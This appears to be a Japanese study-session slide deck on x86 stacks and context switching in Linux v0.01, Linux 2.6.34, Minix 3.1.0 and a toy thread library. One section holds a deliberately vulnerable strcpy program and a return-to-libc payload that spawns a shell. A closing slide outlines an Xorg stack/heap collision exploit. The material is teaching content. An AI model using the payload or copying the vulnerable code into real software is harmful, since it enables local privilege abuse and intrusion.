SlideShare a Scribd company logo
x86 とコンテキストスイッチ
        X86 勉強会 2010/08/21
              @masami256
自己紹介
・ Linux 好き
 - Fedora の Proven testers グループのメンバー
     - Fedora のテストを色々とやってます
 - 昔は Debian でパッケージのメンテしたり
・自作カーネルは一応経験済み
はじめに
    • 特に明記しない限り、 x86_32 のプロテクトモー
      ドで、呼出規約は cdecl です
[masami@ftest x86]$ uname -a
Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386
GNU/Linux
[masami@ftest x86]$ gcc -v
Using built-in specs.
Target: i686-redhat-linux
コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info
--with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-
threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-
libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+
+,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-
gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-
jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-
tune=generic --with-arch=i686 --build=i686-redhat-linux
スレッドモデル : posix
gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
Agenda
  Todo               Doing   Done
          Linux
 Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Agenda
  Todo               Doing   Done
          Linux
                    Stack
          v0.01

Stack の    Linux
  命令      v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
x86 の命令実行での主な登場人物

• stack
• eip
• ebp
• esp
• call
• ret
• Task State Segment(TSS)
Stack
• SS レジスタが指すセグメントの領域
 – スタックが絡む命令では CPU が自動的に参照
• フラットメモリモデルの場合
  – リニアアドレス空間にスタックを設定可
 – 領域の大きさは、セグメント次第
• アクセスには esp 、 ebp を使用する
• 関数単位でスタックフレームに分割される
• メモリの高位アドレスから低位アドレスに
  向かって領域が伸びていく
esp と ebp
• esp
  – スタックポインタ
    • スタックの末端のアドレスを指す
• ebp
  – スタックフレームのベースポインタ
  – 減算することで、ローカル変数へアクセス
  – 加算することで、関数の引数へアクセス
スタックフレーム - サンプル
  void test2(int a, int b)
  {
    char s[10];
  }

  void test1(int a, int b)
  {
    int n = 10;
    int m = 20;

      test2(n + a, m + b);
  }

  int main(int argc, char **argv)
  {
     test1(1, 2);
     return 0;
  }
低位アドレス        スタックフレーム
                 esp
    s
              test2() のスタックフレーム
Saved ebp
Ret address
                                  test1() で引数の n と m にするには、この
    a                             ようになる
                                  movl %eax, 8(%ebp) <- a にアクセス
    b
              test1() のスタックフレーム   movl %edx, 12(%ebp) <- b にアクセス
    n
                                  ローカル変数の場合は、
    m                             movl -4(%ebp), %eax <- m にアクセス
Saved ebp                         movl -8(%ebp), %edx <- n にアクセス

Ret address
    a
              main() のスタックフレーム
    b
Saved ebp


高位アドレス
test1() 実行時のスタックフレーム
(gdb) x/x $ebp + 0
0xbffff708: 0xbffff718
(gdb) x/x $ebp + 4
0xbffff70c: 0x080483e9
(gdb) x/x $ebp + 8
0xbffff710: 0x00000001
(gdb) x/x $ebp + 12
0xbffff714: 0x00000002
(gdb) x/x $ebp - 4
0xbffff704: 0x00000014
(gdb) x/x $ebp - 8
0xbffff700: 0x0000000a
(gdb) x/20x $esp
0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4
0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9
0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6
0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
Agenda
  Todo               Doing    Done
          Linux     Stack の
                              Stack
          v0.01       命令

           Linux
          v2.6.34

Stack の   Minux
まとめ       v3.1.0

Context
          スレッド
Switch
Stack 操作の命令
• Push
• Pop
• Call
• Ret
• Enter
• Leave
Stack 操作の命令 - Push/Pop
void push_pop(void)
{
  int n = 0x20;

    printf("before: n is 0x%xn", n);   $ ./a.out
                                        before: n is 0x20
  asm volatile("push $0x10;nt"        after: n is 0x10
               "pop %
[output];nt"
               :[output]
"=g"(n));

    printf("after: n is 0x%xn", n);
}
Stack 操作の命令 - Call/Ret

void call001(void)
{
  printf("call001-1n");                 $ ./a.out
  asm ("pop %ebp;nt"                   call001-1
        "ret;nt");
  printf("call001-2n");
}                              call と ret 命令では、 cpu がリターンア
                               ドレスをスタック [ に積む / から取得 ]
void call_ret(void)            するので、使用時にこの辺は気にしな
{                              くてもよい仕様になってます。
  asm ("call call001;nt");
}
Stack 操作の命令 - Enter/Leave

.globl enter_leave
/* int enter_leave(void) */
enter_leave:
/* Reserve 16 bytes stack frame */             $ ./a.out
enter $0x10, $0                                ret is 32
movl $0x20, -4(%ebp)
/* %eax is return value */
movl -4(%ebp), %eax                    enter 命令の実行内容は、以下
/* Clear the stack frame */            の内容とほぼ等価です
leave                                  pushl %ebp
ret
                                       movl %esp, %ebp
/* 呼び出し */                             subl $16, %esp
printf("ret is %dn",enter_leave());
eip
• 次に実行する命令のアドレスが入る
• eip を直接弄ることはありません
• mov $0x10, %eip とかはできません
• call 、 ret や jmp 命令など実行すると
  cpu が適切な値を eip にセット
• eip はスタックに積まれるので、制御を
  自分で変更したい場合はこちらを弄り
  ます
制御を自分で変える
void hello2(void)
{
   cout << __FUNCTION__ << endl;
   exit(0);
}
extern "C" __attribute__((fastcall)) int hello(int a, int b)
{
   cout << a << ":" << b << endl;

}
   return 0;                                                                 $ ./a.out
int main(int argc, char **argv)                                              10:20
{
   int a = 10, b = 20;                                                       hello2
   unsigned long addr = (unsigned long) &hello2;

    __asm__ __volatile__("push %[ret_ip]nt"
               "jmp                                            hello;nt"
                ::
                [ret_ip] "g"                                   (addr),
                [arg_a]                                        "c"(a),
                [arg_b] "d"(b));

    return 0;
}
Agenda
  Todo               Doing     Done
          Linux     Stack の
                               Stack
          v0.01     まとめ

           Linux              Stack の
          v2.6.34               命令

          Minux
          v3.1.0

Context
          スレッド
Switch
ここまでのまとめ
void test(char *p)
{
  char buf[64];

    strcpy(buf, p);
}

int main(int argc, char **argv)
{
  test(argv[1]);

    printf("okn");
    return 0;
}
main()->test()->system()->exit()
    の流れで遊んでみる
system() に渡す引数の準備

bt test$ BINSH=/bin/sh ; export BINSH
bt test $ echo $BINSH
/bin/sh
bt test $ ./getenv
environment[BINSH] is in 0xbfffff15
メモリレイアウト
      低位アドレス




                 system() に渡す引数のアドレス
0xbfffff15
                 exit() のアドレス
0xb7ece3a0
                 system() のアドレス
0xb7ed86e0

B*4             オーバーフロー用のゴミデータ
                BBBB で ebp が上書きされる
A*72
      高位アドレス
実行してみる
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" +
"xa0xe3xecxb7" + "x15xffxffxbf"'`
__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>
strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800)                        =
0xbffff510
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
--- SIGCHLD (Child exited) ---
+++ exited (status 0) +++
bt test $
Agenda
Todo              Doing     Done
       Linux     Context
                            Stack
       v0.01     Switch

        Linux              Stack の
       v2.6.34               命令

       Minux               Stack の
       v3.1.0              まとめ


       スレッド
Context Switching

• Hardware Context Switching
 –X86 のタスク切り替え機能を利用
 –Linux の v0.01 はこちら
• Software Context Switching
 –自分でタスクを切り替える
   • 一部で cpu の機能を使う必要がある
 –今時のカーネルは普通こちら
TSS
• Hardware/Software コンテキストスイッチ
  どちらでも利用する
  – Hardware コンテキストスイッチは TSS 必須
  – Sfowtware コンテキストスイッチでは所用によ
    り使う
• 各種レジスタ、セグメントなどの情報、 IO 許可
  マップなどの情報を保存する領域
Hardware Context Switching
• CPU によるサポート
 – FPU 、 MMX 、 SSE の切り替えは未サポート
 – GDT に TSS を置くので、タスク数は 8190 個
   が最大
• あまり使われていない
 – モダンな OS で使われてるケースってあるので
   しょうか?
• Why?
 – 遅い(らしい)
 – http://wiki.osdev.org/Context_Switching
Hardware Context Switching の処理
• TSS を作り GDT に置く
 – TSS はプロセス毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えは、 JMP/CALL 命令で
  実施
 – 各レジスタのセーブ・リストアに関しては
   CPU がやってくれる
 – FPU などは除く
Software Context Switching
• X86 の機能をフル活用しない
  – TSS の esp0 や IOBP などは利用しま
    す
• タスク数の制限はない
  – プロセス単位に TSS ディスクリプタ
    が不要
Software Context Switching の処理
• TSS を作り GDT に置く
 – Linux の場合、 TSS は cpu 毎
• ltr 命令で TSS をセットする
 – 1 つ目の TSS だけで OK
• プロセスの切り替えはスタックの切り替えで実
  施
  – スタックを次のプロセスのものに切り替えて
    るのと、関数から戻るときにスタックに積ま
    れている eip を利用して切り替えを実施
  – FPU などは自分で切り替える
Agenda
Todo              Doing    Done
                 Linux
                           Stack
                 v0.01

        Linux             Stack の
       v2.6.34              命令

       Minux              Stack の
       v3.1.0             まとめ

                          Context
       スレッド               Switch
Linux v0.01 の場合
Linux v0.01 - sched_init
kernel/sched.c
231void sched_init(void)       TSS ディスクリプタを GDT にセット
232{                           * fork() 時は新プロセス用に作った TSS
                               ディスクリプタをセットします
233 int i;
234 struct desc_struct * p;
235
236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));
237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));
snip
246     ltr(0);           ltr 命令で TSS をセットします。
snip
254}

include/linux/sched.h
154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
Linux v0.01 - copy_process()
kernel/fork.c
61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,
64 long eip,long cs,long eflags,long esp,long ss)
65{
snip
70     p = (struct task_struct *) get_free_page();
71 if (!p)
72       return -EAGAIN;
73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */
74 p->state = TASK_RUNNING;
75 p->pid = last_pid;                         70 行目以降で作った新しいプ
snip                                          ロセスのディスクリプタを設定
118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));
119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));
120 task[nr] = p; /* do this last, just in case */
121 return last_pid;
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"                __tmp.b に gdt に設
                                               定されている次のプ
173 "movw %%dx,%1nt"                        ロセスの TSS セレク
174 "ljmp %0nt"                             タ値を代入
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt"          カレントプロセスと次のプロ
173 "movw %%dx,%1nt"                  セスが同一ならなにもしない
174 "ljmp %0nt" 
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt" 
                                    セグメント間ジャンプでプロセス
174 "ljmp %0nt" 
                                    切り替え実行
175 "cmpl %%ecx,%2nt" 
176 "jne 1fnt" 
177 "cltsn" 
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp; 
170__asm__("cmpl %%ecx,_currentnt" 
171 "je 1fnt" 
172 "xchgl %%ecx,_currentnt" 
173 "movw %%dx,%1nt"          最後に FPU レジスタを使ったプロ
174 "ljmp %0nt"               セスと切り替え後のプロセスを比
175 "cmpl %%ecx,%2nt"         較して同じだったら、 clts 命令を
176 "jne 1fnt"                実行い CR0 レジスタの TS フラグ
177 "cltsn"                    をリセットする
178 "1:" 
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b), 
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
clts 命令と TS フラグ
• CR0 レジスタの TS フラグをクリアする命令
• TS は Task Switch の略
• TS フラグはハードウェアコンテキストスイッチ
  発生時に CPU によりセットされる
• このフラグが立っているときに、浮動小数点命
  令を使用すると例外( Device not available) が発
  生する
• この仕組みを利用して、 FPU レジスタの退避を
  遅延させることができる
Agenda
  Todo   Doing                 Done
Minux     Linux                Linux
                      Stack
v3.1.0   v2.6.34               v0.01

                     Stack の
スレッド                   命令

                     Stack の
                     まとめ

                     Context
                     Switch
Linux v2.6.34 の場合
Linux 2.6.34 の Context Switch
• switch_to マクロ
   – arch/x86/include/asm/system.h
• __switch_to()
   – arch/x86/kernel/process_32.c
switch_to - 概要
arch/x86/include/asm/system.h
44/*
45 * Saving eflags is important. It switches not only IOPL
between tasks,
46 * it also protects other tasks from NT leaking through
sysenter etc.
47 */
48#define switch_to(prev, next, last) 

このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、
次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()
の呼出をします。 __switch_to() から戻った時点で、プロセスが
切り替わっています。
switch_to - 実行部分
57 unsigned long ebx, ecx, edx, esi, edi; 
58 
59 asm volatile("pushflnt" /* save flags */ 
60 "pushl %%ebpnt" /* save EBP */ 
61 "movl %%esp,%[prev_sp]nt" /* save ESP */ 
62 "movl %[next_sp],%%espnt" /* restore ESP */ 
63 "movl $1f,%[prev_ip]nt" /* save EIP */ 
64 "pushl %[next_ip]nt" /* restore EIP */ 
65 __switch_canary 
66 "jmp __switch_ton" /* regparm call */ 
67 "1:t" 
68 "popl %%ebpnt" /* restore EBP */ 
69 "popfln" /* restore flags */
__switch_to() の主な処理

• もし Prev プロセスが FPU を使っていた場合
  は、 FPU レジスタを退避する
• clts 命令の実行などもある
• カーネル用のスタックを設定
• TSS の sp0
• Thread Local Storage へアクセス出きるよう
  にセグメントを設定 
• I/O ポートへのアクセス権の設定
プロセス切替の完了
 67 "1:t" 
 68 "popl %%ebpnt" /* restore
 EBP */ 
 69 "popfln" /* restore flags */ 


__switch_to() から戻る場所は、 67 行目にセット
されているので、 ebp と、 eflags をリストアす
ることで switch_to() の処理は終了し、 Next プロ
セスの実行が始まる。
プロセス切替時のスタックの様子
                            jmp 命令で __switch_to() を呼
Prev プロセスの                  び、 __switch_to() から return するとき
スタック                        にきに ret 命令が Next プロセスのスタ
                            ックから %next_ip を読込み、指定され
ebp              esp        た場所に戻る
                 pushl %%ebp
eflags
                 pushfl
XXX
                                     Next プロセスの 
XXX
                                     スタック
             movl %[next_sp],%%esp


                                                    esp
                                     Ret Address
                                                    pushl %
                                     XXX            [next_ip]
                                     XXX
Agenda
 Todo   Doing                 Done
        Minux                 Linux
スレッド                 Stack
        v3.1.0                v0.01

                    Stack の    Linux
                      命令      v2.6.34

                    Stack の
                    まとめ

                    Context
                    Switch
Minix v3.1.0 の場合
Minix3.1.0 の Context Switch
●
 kernel/mpx386.s に実装がある
●
 _restart() がコンテキストスイッチを実行
●
 通常は c の関数からは呼ばれない
    ●
        同ファイルの割り込みハンドラから実行
例外は kernel/main.c の main() で、終了時に呼
●


び出される
    ●
        main() の最後に _restart() を呼ぶ
    ●
        スケジューラにセットされたサーバプロセス
         の起動処理が走りだす
_restart - 前半
_restart:
cmp (_next_ptr), 0           _next_ptr は次のプロセス
jz 0f                        で、次のプロセスが無け
mov eax, (_next_ptr)         れば、今のプロセスを継
mov (_proc_ptr), eax         続する
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - 前半
_restart:
                             _proc_ptr に _next_ptr をセ
cmp (_next_ptr), 0           ットして、 _next_ptr を
jz 0f                        NULL にする
mov eax, (_next_ptr)
mov (_proc_ptr), eax
                                 LDT をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
_restart - LDT の設定
先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt
にアクセスするために使用しています。このマクロを使用すること
で、 lldt 命令の引数を正しくセットできます。
マクロは kernel/sconst.h にて定義。

struct proc {
struct stackframe_s p_reg; /* process' registers saved in stack frame
*/

#if (CHIP == INTEL)
reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */
struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and
remote segments */
#endif


      この p_ldt にアクセスする
_restart - 前半
_restart:
cmp (_next_ptr), 0
jz 0f
mov eax, (_next_ptr)
mov (_proc_ptr), eax         TSS の sp0 をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
Minix の TSS 構造体
kernel/protect.h
struct tss_s {
reg_t backlink;
reg_t sp0;
reg_t ss0;         mov (_tss+TSS3_S_SP0), eax
reg_t sp1;         ↑ の mov 命令で sp0 をセットするわけですが、その仕組み
                   は単純で、 TSS を表す構造体 _tss の先頭からオフセット
snip               TSS3_S_SP0 バイト目にアクセスするだけです。
                   386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ
};                 イト目は sp0 となり、目的の位置にアクセスできます。


#define TSS3_S_SP0 4
_restart - 後半
restart1:           _restart() 内では使用しないラベル

decb (_k_reenter)
                      カーネルのリエントラント用
o16 pop gs            のカウンタをデクリメント
o16 pop fs
o16 pop es
o16 pop ds             スタックに積まれているリ
popad                  ターンアドレスを無視

add esp, 4
iretd
            iretd で抜けて処理が完了
Agenda
Todo   Doing                 Done
                             Linux
       スレッド         Stack
                             v0.01

                   Stack の    Linux
                     命令      v2.6.34

                   Stack の   Minux
                   まとめ       v3.1.0

                   Context
                   Switch
スレッド

    スタックの切り替えでスレッドを切り替え
    ることができます

    実験は x86_64 で行ってます
スレッド構造体
typedef struct _Thread {
   struct _Thread *next;
   int thread_id;
   unsigned long context[CONTEXT_SIZE];
   char *stack_top; /* NULL if this is main() thread */
   int status;
} Thread;
メインスレッド
void ThreadMain(int argc, char **argv)
{
   int t1, t2;

    t1 = ThreadCreate(f, 1);
    printf("create a new thread (i=%d) [id=%d]n", 1, t1);
    t2 = ThreadCreate(f, 2);
    printf("create a new thread (i=%d) [id=%d]n", 2, t2);
    ThreadYield();
    printf("main thread finished.n");
}
スレッド生成 - 前半
int ThreadCreate(ThreadProc proc, unsigned long arg)
{
    Thread *child;
    unsigned long addr = (unsigned long) ThreadStart;
    unsigned long stack_start = 0;

   child = AllocateThread();

   child->stack_top = malloc(STACK_ALLOC_SIZE);
   memset(child->stack_top, 0, STACK_ALLOC_SIZE);

   stack_start = (unsigned long) child->stack_top + STACK_SIZE;
   memcpy((char *) stack_start, &addr, sizeof(addr));
スレッド生成 - 後半
    child->context[0] = stack_start;
    child->context[1] = stack_start;
    child->context[2] = (unsigned long) proc;
    child->context[3] = arg;

    child->status = RUNNING;

    LinkThread(child);

    return child->thread_id;

}
スレッドのエントリポイント


static void ThreadStart(unsigned long proc, unsigned long arg)
{
    ThreadProc ptr = (ThreadProc) proc;
    ptr(arg);
    ThreadExit();
}
ThreadYeild- 前半
void ThreadYield()
{
   Thread *t;
   int found = 0;

   for (t = threadList->next; t; t = t->next) {
       if (t && t->status == RUNNING && t != currentThread) {
            found = 1;
            break;
       }
   }
ThreadYeild- 後半
if (found) {
        Thread *cur = currentThread;
        currentThread = t;

        printf("switch id %d to %dn", cur->thread_id, t->thread_id);
        _ContextSwitch(cur->context, t->context);
    } else if (currentThread->thread_id == MAIN_THREAD_ID) {
        // main thread's state is FINISH.
        printf("There is only main threadn");
    } else {
        printf("There is no active threadn");
    }
}
_ContextSwitch
//void _ContextSwitch(void* old_context, void* new_context);
.globl ENTRY(_ContextSwitch)
ENTRY(_ContextSwitch):
    movq %rdi, %rax // old
    movq %rsp, 0(%rax)
    movq %rbp, 8(%rax)
    movq %rdi, 16(%rax)
    movq %rsi, 24(%rax)
    movq %rsi, %rax // new
    movq 0(%rax), %rsp
    movq 8(%rax), %rbp
    movq 16(%rax), %rdi // arg1
    movq 24(%rax), %rsi // arg2
    ret
スレッドの実行内容
void f(int i)
{
   int n = 0;

    for (n = 0; n < 10; n++) {
       printf("thread(%d): %d.n", i, n);
       ThreadYield();
    }

    printf("thread (i=%d) finished.n", i);
}
実行結果
[masami@moon]~/experiment/thread% ./test1
create a new thread (i=1) [id=1]
create a new thread (i=2) [id=2]
switch id 0 to 2
thread(2): 0.
switch id 2 to 1
thread(1): 0.
switch id 1 to 2
~
switch id 1 to 2
thread (i=2) finished.
switch id -1 to 1
thread (i=1) finished.
switch id -1 to 0
main thread finished.
まとめ

• プロセスの切り替えは、スタックとスタック
  操作のメカニズムが主要な鍵になってます
• スタック周りの説明はバッファオーバーフロ
  ーなどのテクニックを紹介している本が結構
  詳しいです
• 大概は x86 で説明しているのと、 exploit コ
  ードの説明ではスタックの知識が必要なので
  …
追加スライド

• Linux カーネルの脆弱性のレポート
  – Exploiting large memory management
    vulnerabilities in Xorg server running on
    Linux
• スタック & ヒープ領域に絡んだ話です
  – デフォルトインストールの Fedora 13 で
    再現
     • F13 は selinux 有効、 exec-shiled パッ
       チ有りがデフォルトです
概要

スタックとヒープを大量に使った場合の問題
●

    ●
        スタックとヒープが重なったら危険!
Xorg の MIT-SHM という拡張機能を使ってい
●


ると exploit の効果が抜群
    ●
        この拡張を無効にすれば exploit の信頼性が落
         ちるけど、 Xorg の機能性も落ちる
シナリオ

X サーバに大量のメモリを確保させる
●

    ●
        x86_32 では実行する必要なし
●
 共有メモリ S を限界まで確保させる
●
 関数 F の再帰呼び出しを繰り返し実行させる
●
 S の領域に 0 以外のデータが入っている場所
  を探す
    ●
        スタックフレームとヒープが重なった!
シナリオ
●
 プロセス W を立ち上げて、 S 内のデータを
payload で書き換える
●
 F が関数から戻るときはスタックからリター
ンアドレスを取得する
    ●
        この時に payload を読み込んだらゲームオー
         バー
    ●
        W による書き換えと、 F がリターンアドレス
         を取得するタイミングでレースがある
    ●
        でも、ほとんどの SMP システムでは上手く
         できる
ご清聴ありがとうございました
リファレンス
• Insecure Programming by example
  – http://community.corest.com/~gera/InsecureProgramming/
• OSDev.org
   – http://wiki.osdev.org/Main_Page
• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際
   – http://www.amazon.co.jp/dp/4873112303
• xorg-large-memory-attack.pdf
   – http://www.invisiblethingslab.com/resources/misc-
     2010/xorg-large-memory-attacks.pdf

More Related Content

What's hot (20)

PDF
目grep入門 +解説
murachue
 
PDF
フラグを愛でる
MITSUNARI Shigeo
 
PDF
ゲーム開発者のための C++11/C++14
Ryo Suzuki
 
PPTX
SIMDで整数除算
shobomaru
 
PDF
Re永続データ構造が分からない人のためのスライド
Masaki Hara
 
PDF
高速な倍精度指数関数expの実装
MITSUNARI Shigeo
 
PDF
Deflate
7shi
 
PDF
show コマンド結果をパースする方法あれこれ #npstudy
akira6592
 
PDF
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
 
PDF
Apache Arrow - データ処理ツールの次世代プラットフォーム
Kouhei Sutou
 
PDF
ctfで学ぼうリバースエンジニアリング
junk_coken
 
PDF
ARM CPUにおけるSIMDを用いた高速計算入門
Fixstars Corporation
 
PDF
Marp Tutorial
Rui Watanabe
 
PPTX
画像処理の高性能計算
Norishige Fukushima
 
PPTX
分散システムについて語らせてくれ
Kumazaki Hiroki
 
PDF
GoogleのSHA-1のはなし
MITSUNARI Shigeo
 
PPTX
Unicode文字列処理
信之 岩永
 
PDF
ロードバランスへの長い道
Jun Kato
 
PPTX
冬のLock free祭り safe
Kumazaki Hiroki
 
PDF
計算機アーキテクチャを考慮した高能率画像処理プログラミング
Norishige Fukushima
 
目grep入門 +解説
murachue
 
フラグを愛でる
MITSUNARI Shigeo
 
ゲーム開発者のための C++11/C++14
Ryo Suzuki
 
SIMDで整数除算
shobomaru
 
Re永続データ構造が分からない人のためのスライド
Masaki Hara
 
高速な倍精度指数関数expの実装
MITSUNARI Shigeo
 
Deflate
7shi
 
show コマンド結果をパースする方法あれこれ #npstudy
akira6592
 
CTF for ビギナーズ バイナリ講習資料
SECCON Beginners
 
Apache Arrow - データ処理ツールの次世代プラットフォーム
Kouhei Sutou
 
ctfで学ぼうリバースエンジニアリング
junk_coken
 
ARM CPUにおけるSIMDを用いた高速計算入門
Fixstars Corporation
 
Marp Tutorial
Rui Watanabe
 
画像処理の高性能計算
Norishige Fukushima
 
分散システムについて語らせてくれ
Kumazaki Hiroki
 
GoogleのSHA-1のはなし
MITSUNARI Shigeo
 
Unicode文字列処理
信之 岩永
 
ロードバランスへの長い道
Jun Kato
 
冬のLock free祭り safe
Kumazaki Hiroki
 
計算機アーキテクチャを考慮した高能率画像処理プログラミング
Norishige Fukushima
 

Viewers also liked (20)

PDF
xv6のコンテキストスイッチを読む
mfumi
 
PDF
あるコンテキストスイッチの話
nullnilaki
 
PDF
あなたの知らないネットワークプログラミングの世界
Ryousei Takano
 
PPTX
An other world awaits you
信之 岩永
 
PDF
Kernel vm study_2_xv6_scheduler_part1_revised
Toshiaki Nozawa
 
PDF
LinuxのFull ticklessを試してみた
Hiraku Toyooka
 
PDF
Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Hiraku Toyooka
 
PDF
πολλαπλασιασμοι ενοτητα 11
Γιαννόπουλος Γιάννης
 
PPTX
Bish Bash Bosh & Co
Bish Bash Bosh & Co
 
PDF
とある帽子の大蛇料理Ⅱ
Masami Ichikawa
 
PDF
100Gbpsソフトウェアルータの実現可能性に関する論文
y_uuki
 
PDF
User-space Network Processing
Ryousei Takano
 
PDF
デバドラを書いてみよう!
Masami Ichikawa
 
PDF
I/O仮想化最前線〜ネットワークI/Oを中心に〜
Ryousei Takano
 
PDF
Disruptive IP Networking with Intel DPDK on Linux
Naoto MATSUMOTO
 
PDF
クラウド環境におけるキャッシュメモリQoS制御の評価
Ryousei Takano
 
PDF
Webアプリケーションの パフォーマンス向上のコツ 実践編
Masahiro Nagano
 
PDF
Webアプリケーションの パフォーマンス向上のコツ 概要編
Masahiro Nagano
 
PDF
DPDKを拡張してみた話し
Lagopus SDN/OpenFlow switch
 
PDF
Async deepdive before de:code
Kouji Matsui
 
xv6のコンテキストスイッチを読む
mfumi
 
あるコンテキストスイッチの話
nullnilaki
 
あなたの知らないネットワークプログラミングの世界
Ryousei Takano
 
An other world awaits you
信之 岩永
 
Kernel vm study_2_xv6_scheduler_part1_revised
Toshiaki Nozawa
 
LinuxのFull ticklessを試してみた
Hiraku Toyooka
 
Linuxのプロセススケジューラ(Reading the Linux process scheduler)
Hiraku Toyooka
 
πολλαπλασιασμοι ενοτητα 11
Γιαννόπουλος Γιάννης
 
Bish Bash Bosh & Co
Bish Bash Bosh & Co
 
とある帽子の大蛇料理Ⅱ
Masami Ichikawa
 
100Gbpsソフトウェアルータの実現可能性に関する論文
y_uuki
 
User-space Network Processing
Ryousei Takano
 
デバドラを書いてみよう!
Masami Ichikawa
 
I/O仮想化最前線〜ネットワークI/Oを中心に〜
Ryousei Takano
 
Disruptive IP Networking with Intel DPDK on Linux
Naoto MATSUMOTO
 
クラウド環境におけるキャッシュメモリQoS制御の評価
Ryousei Takano
 
Webアプリケーションの パフォーマンス向上のコツ 実践編
Masahiro Nagano
 
Webアプリケーションの パフォーマンス向上のコツ 概要編
Masahiro Nagano
 
DPDKを拡張してみた話し
Lagopus SDN/OpenFlow switch
 
Async deepdive before de:code
Kouji Matsui
 
Ad

Similar to x86とコンテキストスイッチ (20)

PDF
2011.09.18 v7から始めるunix まとめ
Makiko Konoshima
 
PDF
【学習メモ#8th】12ステップで作る組込みOS自作入門
sandai
 
PDF
0章 Linuxカーネルを読む前に最低限知っておくべきこと
mao999
 
PDF
プロセスとコンテキストスイッチ
Kazuki Onishi
 
PDF
初めてのCPUを作ってみた
Eric Sartre
 
PDF
V6read#3
magoroku Yamamoto
 
PDF
2011.06.11 v7から始めるunix まとめ
Makiko Konoshima
 
PDF
V6 unix in okinawa
magoroku Yamamoto
 
PPT
Altanative macro
Motohiro KOSAKI
 
ODP
Buffer overflow
ionis111
 
PDF
Unixカーネルの設計 7 プロセスの制御
Norito Agetsuma
 
ODP
0x300
geek_alice
 
PDF
StackExchangeで見たシステムプログラミング案件
yaegashi
 
ODP
みんな大好き! Hello, World
Naohiro Aota
 
PDF
【学習メモ#11th】12ステップで作る組込みOS自作入門
sandai
 
PDF
